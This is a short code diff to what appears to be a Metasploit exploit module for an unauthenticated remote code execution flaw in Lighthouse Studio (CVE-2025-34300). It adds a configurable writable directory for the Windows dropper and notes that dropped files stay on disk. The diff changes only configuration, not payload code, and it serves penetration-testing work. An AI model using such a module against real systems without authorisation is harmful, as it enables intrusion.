Added WritableDir Option

Author: vognik

modules/exploits/multi/http/lighthouse_studio_unauth_rce_cve_2025_34300.rb

@@ -85,7 +85,7 @@ def initialize(info = {})
         'DisclosureDate' => '2025-07-16',
         'Notes' => {
           'Stability' => [CRASH_SAFE],
-          'SideEffects' => [IOC_IN_LOGS],
+          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
           'Reliability' => [REPEATABLE_SESSION]
         }
       )
@@ -95,6 +95,7 @@ def initialize(info = {})
       [
         OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
         OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
+        OptString.new('WritableDir', [false, 'Writable directory for Windows Dropper', 'C:\\Windows\\Tasks\\'])
       ]
     )
   end
@@ -163,7 +164,10 @@ def exploit
 
     case target['Type']
     when :windows_dropper
-      execute_cmdstager(temp: '.')
+      # This applies only to Windows
+      # The RCE doesn’t resolve environment variables like %TEMP%, so the path must be specified explicitly
+      # Files on the disk are also not deleted
+      execute_cmdstager(temp: datastore['WritableDir'])
     when :nix_dropper
       execute_cmdstager
     when :windows_command, :nix_command